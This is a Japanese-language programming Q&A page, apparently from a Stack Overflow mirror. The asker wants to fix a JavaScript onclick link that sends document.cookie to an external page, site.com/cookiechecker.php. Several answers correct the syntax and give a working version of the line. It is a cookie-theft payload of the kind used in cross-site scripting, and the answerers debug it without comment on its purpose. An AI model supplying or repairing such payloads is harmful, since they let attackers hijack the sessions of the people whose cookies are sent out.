-2

それで、私はしばらくJavaScriptをやっていて、問題に遭遇しました。JavaScript をエンコードしてハイパーリンクを作成しようとすると、プラス記号が消えて JavaScript コードのハイパーリンクが機能しません。では、JavaScript のプラス記号に代わる記号はありますか? プラス記号と同じ機能を果たす、使用できる別の記号はありますか?

これが私のコードです:

onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);"
4

5 に答える 5

1

これを試してください(セミコロンを削除してください):

onclick="document.location='site.com/cookiechecker.php?cookie='+escape(document.cookie);"
于 2012-11-08T00:22:28.583 に答える
1

「+」を HEX に相当する「%2B」に置き換えてください。

于 2012-11-08T00:20:49.647 に答える
0

削除する必要があるセミコロンがあります。

onclick="document.location='site.com/cookiechecker.php?cookie='+escape(document.cookie);" 

このセミコロンにより、JavaScript は式を 1 つではなく 2 つの別個のステートメントとして扱います。これは次と同等です:

document.location = 'site.com/cookiechecker.php?cookie=';
escape(document.cookie);
于 2012-11-08T00:25:26.173 に答える
0

あなたのコードはこれです:

onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);"

これは、イベント ハンドラーが次のようなものであることを意味します (展開された形式)。

document.location = 'site.com/cookiechecker.php?cookie=';
+escape(document.cookie);

これはあなたが望むものではありません。2 つのステートメントを区切っているセミコロンを削除します。

また、値http://の開始時に必要になることはほぼ確実です。document.location

最終値:

onclick="document.location='http://site.com/cookiechecker.php?cookie='+escape(document.cookie);"
于 2012-11-08T00:26:08.477 に答える
0

%2b は「+」の 16 進値です。(以前にアドレスバーに %20 を見たことがあるかもしれません..同じ考えです)

于 2012-11-08T00:20:41.690 に答える